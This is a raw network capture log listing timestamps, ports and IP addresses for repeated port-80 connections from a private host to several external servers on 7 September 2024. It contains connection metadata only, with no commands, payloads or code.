Sep 7, 2024 15:37:02.114464998 CEST	56440	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:02.114582062 CEST	56440	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:02.116941929 CEST	56438	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:02.117271900 CEST	56441	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:02.122152090 CEST	80	56441	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:02.122215986 CEST	56441	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:02.122266054 CEST	80	56438	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:02.122312069 CEST	56438	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:02.122472048 CEST	56441	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:02.127325058 CEST	80	56441	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:02.605968952 CEST	80	56441	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:02.606729031 CEST	56441	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:02.710993052 CEST	56442	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:02.716073990 CEST	80	56442	45.79.222.138	192.168.2.3
Sep 7, 2024 15:37:02.716221094 CEST	56442	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:02.716350079 CEST	56442	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:02.721688986 CEST	80	56442	45.79.222.138	192.168.2.3
Sep 7, 2024 15:37:02.721740007 CEST	56442	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:02.753942013 CEST	56443	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:02.758819103 CEST	80	56443	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:02.761204004 CEST	56443	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:02.765450954 CEST	56443	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:02.770265102 CEST	80	56443	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:03.240777016 CEST	80	56443	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:03.240845919 CEST	80	56443	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:03.240930080 CEST	56443	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:03.241013050 CEST	56443	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:03.241286039 CEST	56441	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:03.241702080 CEST	56444	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:03.246872902 CEST	80	56441	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:03.246891022 CEST	80	56444	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:03.246985912 CEST	56441	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:03.247018099 CEST	56444	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:03.247159958 CEST	56444	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:03.251915932 CEST	80	56444	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:03.736222029 CEST	80	56444	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:03.738143921 CEST	56444	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:03.851910114 CEST	56445	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:03.857151031 CEST	80	56445	64.70.19.203	192.168.2.3
Sep 7, 2024 15:37:03.858160019 CEST	56445	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:03.858237028 CEST	56445	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:03.863390923 CEST	80	56445	64.70.19.203	192.168.2.3
Sep 7, 2024 15:37:03.863464117 CEST	56445	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:03.896280050 CEST	56446	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:03.901211023 CEST	80	56446	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:03.902158022 CEST	56446	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:03.913599968 CEST	56446	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:03.918530941 CEST	80	56446	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:04.403434038 CEST	80	56446	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:04.403572083 CEST	56446	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:04.403580904 CEST	80	56446	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:04.403620958 CEST	56446	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:04.407073021 CEST	56444	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:04.407350063 CEST	56447	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:04.412175894 CEST	80	56447	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:04.412276030 CEST	56447	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:04.412341118 CEST	80	56444	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:04.412378073 CEST	56444	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:04.412837982 CEST	56447	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:04.417643070 CEST	80	56447	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:04.919811010 CEST	80	56447	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:04.919872046 CEST	56447	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:06.101670027 CEST	56448	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:06.106623888 CEST	80	56448	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:06.106709003 CEST	56448	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:06.106796980 CEST	56448	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:06.112117052 CEST	80	56448	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:06.112164974 CEST	56448	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:06.123215914 CEST	56449	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:06.128139973 CEST	80	56449	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:06.128220081 CEST	56449	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:06.132276058 CEST	56449	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:06.141606092 CEST	80	56449	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:06.627168894 CEST	80	56449	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:06.627851009 CEST	80	56449	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:06.627932072 CEST	56449	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:06.628377914 CEST	56449	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:06.632894039 CEST	56447	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:06.633193970 CEST	56450	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:06.637993097 CEST	80	56447	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:06.638060093 CEST	56447	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:06.638237000 CEST	80	56450	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:06.638300896 CEST	56450	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:06.641923904 CEST	56450	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:06.646804094 CEST	80	56450	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:07.128626108 CEST	80	56450	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:07.129184961 CEST	56450	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:08.383045912 CEST	56451	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:08.387983084 CEST	80	56451	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:08.388057947 CEST	56451	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:08.397937059 CEST	56451	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:08.402609110 CEST	56452	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:08.403161049 CEST	80	56451	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:08.403223038 CEST	56451	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:08.407788038 CEST	80	56452	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:08.407880068 CEST	56452	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:08.413543940 CEST	56452	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:08.418526888 CEST	80	56452	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:08.892808914 CEST	80	56452	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:08.892890930 CEST	80	56452	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:08.892955065 CEST	56452	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:08.893013000 CEST	56452	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:08.920286894 CEST	56450	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:08.920567989 CEST	56453	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:08.925411940 CEST	80	56450	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:08.925491095 CEST	80	56453	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:08.925540924 CEST	56450	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:08.925570011 CEST	56453	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:08.925705910 CEST	56453	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:08.930489063 CEST	80	56453	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:09.417450905 CEST	80	56453	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:09.417506933 CEST	56453	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:09.523653984 CEST	56454	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:09.530210018 CEST	80	56454	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:09.530291080 CEST	56454	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:09.530383110 CEST	56454	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:09.534720898 CEST	56455	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:09.538773060 CEST	80	56454	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:09.542164087 CEST	56454	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:09.542953968 CEST	80	56455	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:09.543025017 CEST	56455	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:09.554169893 CEST	56455	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:09.559046984 CEST	80	56455	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:10.079087973 CEST	80	56455	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:10.079211950 CEST	56455	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:10.080264091 CEST	56453	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:10.080823898 CEST	56456	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:10.081526995 CEST	80	56455	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:10.081588030 CEST	56455	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:10.087203979 CEST	80	56453	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:10.087387085 CEST	80	56456	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:10.087471962 CEST	56453	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:10.087488890 CEST	56456	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:10.089884043 CEST	56456	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:10.095716953 CEST	80	56456	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:10.582619905 CEST	80	56456	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:10.582690954 CEST	56456	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:11.273763895 CEST	56457	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:11.278712988 CEST	80	56457	45.79.222.138	192.168.2.3
Sep 7, 2024 15:37:11.278775930 CEST	56457	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:11.278868914 CEST	56457	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:11.283746004 CEST	56458	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:11.284411907 CEST	80	56457	45.79.222.138	192.168.2.3
Sep 7, 2024 15:37:11.284454107 CEST	56457	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:11.289397955 CEST	80	56458	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:11.289473057 CEST	56458	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:11.304292917 CEST	56458	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:11.316004992 CEST	80	56458	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:11.787091017 CEST	80	56458	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:11.787271023 CEST	56458	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:11.787524939 CEST	80	56458	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:11.787573099 CEST	56458	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:11.799592018 CEST	56456	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:11.799876928 CEST	56459	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:11.804982901 CEST	80	56456	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:11.805032969 CEST	56456	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:11.805541039 CEST	80	56459	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:11.805605888 CEST	56459	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:11.806472063 CEST	56459	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:11.811291933 CEST	80	56459	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:12.330804110 CEST	80	56459	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:12.332660913 CEST	56459	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:12.445915937 CEST	56460	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:12.451261997 CEST	80	56460	64.70.19.203	192.168.2.3
Sep 7, 2024 15:37:12.451369047 CEST	56460	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:12.460419893 CEST	56460	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:12.464050055 CEST	56461	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:12.469417095 CEST	80	56460	64.70.19.203	192.168.2.3
Sep 7, 2024 15:37:12.469513893 CEST	56460	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:12.471736908 CEST	80	56461	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:12.471822023 CEST	56461	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:12.471885920 CEST	56461	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:12.477191925 CEST	80	56461	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:12.967535973 CEST	80	56461	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:12.967992067 CEST	80	56461	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:12.968064070 CEST	56461	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:12.968122959 CEST	56461	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:12.968336105 CEST	56459	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:12.968616009 CEST	56462	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:12.973846912 CEST	80	56462	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:12.973973989 CEST	80	56459	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:12.974057913 CEST	56459	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:12.974057913 CEST	56462	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:12.974215984 CEST	56462	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:12.979389906 CEST	80	56462	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:13.466655016 CEST	80	56462	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:13.466718912 CEST	56462	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:13.572218895 CEST	56463	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:13.745242119 CEST	80	56463	45.79.222.138	192.168.2.3
Sep 7, 2024 15:37:13.745321989 CEST	56463	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:13.745421886 CEST	56463	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:13.750674009 CEST	80	56463	45.79.222.138	192.168.2.3
Sep 7, 2024 15:37:13.750726938 CEST	56463	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:13.766073942 CEST	56464	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:13.770930052 CEST	80	56464	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:13.771027088 CEST	56464	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:13.772970915 CEST	56464	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:13.778408051 CEST	80	56464	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:14.255785942 CEST	80	56464	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:14.255913973 CEST	56464	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:14.256156921 CEST	56462	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:14.256356955 CEST	80	56464	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:14.256407976 CEST	56464	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:14.256704092 CEST	56465	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:14.261395931 CEST	80	56462	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:14.261445999 CEST	56462	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:14.261629105 CEST	80	56465	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:14.261775970 CEST	56465	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:14.261928082 CEST	56465	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:14.266976118 CEST	80	56465	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:14.759955883 CEST	80	56465	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:14.760158062 CEST	56465	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:17.165597916 CEST	56466	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:17.170593023 CEST	80	56466	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:17.170670986 CEST	56466	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:17.170749903 CEST	56466	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:17.176070929 CEST	80	56466	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:17.176124096 CEST	56466	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:17.213711023 CEST	56467	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:17.218586922 CEST	80	56467	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:17.218682051 CEST	56467	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:17.226314068 CEST	56467	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:17.231189966 CEST	80	56467	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:17.706095934 CEST	80	56467	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:17.706633091 CEST	80	56467	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:17.706729889 CEST	56467	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:17.706815004 CEST	56467	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:17.708456993 CEST	56465	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:17.708854914 CEST	56468	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:17.713702917 CEST	80	56465	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:17.713979006 CEST	80	56468	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:17.714035034 CEST	56465	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:17.714070082 CEST	56468	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:17.714236021 CEST	56468	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:17.719463110 CEST	80	56468	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:18.225856066 CEST	80	56468	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:18.225914955 CEST	56468	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:18.774580002 CEST	56469	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:18.779618979 CEST	80	56469	45.79.222.138	192.168.2.3
Sep 7, 2024 15:37:18.779686928 CEST	56469	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:18.779810905 CEST	56469	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:18.785213947 CEST	80	56469	45.79.222.138	192.168.2.3
Sep 7, 2024 15:37:18.785279989 CEST	56469	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:18.805481911 CEST	56470	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:18.814621925 CEST	80	56470	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:18.814703941 CEST	56470	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:18.819817066 CEST	56470	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:18.829462051 CEST	80	56470	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:19.302743912 CEST	80	56470	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:19.302881956 CEST	56470	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:19.302920103 CEST	80	56470	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:19.303128004 CEST	56470	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:19.305196047 CEST	56468	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:19.305759907 CEST	56471	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:19.311721087 CEST	80	56468	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:19.311822891 CEST	56468	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:19.311985016 CEST	80	56471	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:19.312056065 CEST	56471	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:19.312237024 CEST	56471	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:19.317789078 CEST	80	56471	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:19.808471918 CEST	80	56471	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:19.812829971 CEST	56471	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:19.914104939 CEST	56472	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:19.919401884 CEST	80	56472	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:19.922187090 CEST	56472	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:19.929884911 CEST	56472	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:19.935215950 CEST	80	56472	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:19.935338020 CEST	56472	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:19.964346886 CEST	56473	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:19.973159075 CEST	80	56473	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:19.973844051 CEST	56473	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:19.976394892 CEST	56473	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:19.981333017 CEST	80	56473	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:20.456821918 CEST	80	56473	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:20.458250999 CEST	56473	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:20.458494902 CEST	56471	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:20.458583117 CEST	80	56473	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:20.458839893 CEST	56474	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:20.458859921 CEST	56473	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:20.464313030 CEST	80	56474	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:20.464396000 CEST	80	56471	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:20.464411974 CEST	56474	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:20.464446068 CEST	56471	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:20.464677095 CEST	56474	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:20.470288992 CEST	80	56474	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:20.959916115 CEST	80	56474	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:20.960269928 CEST	56474	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:21.398983002 CEST	56475	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:21.404310942 CEST	80	56475	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:21.404432058 CEST	56475	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:21.413538933 CEST	56475	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:21.419048071 CEST	80	56475	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:21.419150114 CEST	56475	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:21.432610989 CEST	56476	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:21.437722921 CEST	80	56476	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:21.437813997 CEST	56476	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:21.437977076 CEST	56476	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:21.443140984 CEST	80	56476	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:21.941586971 CEST	80	56476	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:21.941715002 CEST	80	56476	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:21.941716909 CEST	56476	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:21.941761017 CEST	56476	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:21.942203045 CEST	56474	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:21.942503929 CEST	56477	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:21.948211908 CEST	80	56474	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:21.948302984 CEST	56474	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:21.951694012 CEST	80	56477	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:21.951766014 CEST	56477	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:21.951951981 CEST	56477	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:21.960506916 CEST	80	56477	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:22.459160089 CEST	80	56477	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:22.460561037 CEST	56477	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:23.586081028 CEST	56478	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:23.591392994 CEST	80	56478	64.70.19.203	192.168.2.3
Sep 7, 2024 15:37:23.591461897 CEST	56478	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:23.591535091 CEST	56478	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:23.595093966 CEST	56479	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:23.597143888 CEST	80	56478	64.70.19.203	192.168.2.3
Sep 7, 2024 15:37:23.597203970 CEST	56478	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:23.602567911 CEST	80	56479	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:23.602639914 CEST	56479	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:23.602718115 CEST	56479	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:23.609258890 CEST	80	56479	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:24.111764908 CEST	80	56479	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:24.111876011 CEST	56479	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:24.112091064 CEST	80	56479	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:24.112137079 CEST	56479	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:24.130158901 CEST	56477	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:24.130472898 CEST	56480	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:24.135588884 CEST	80	56477	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:24.135849953 CEST	80	56480	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:24.135905981 CEST	56477	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:24.135950089 CEST	56480	80	192.168.2.3	172.234.222.138
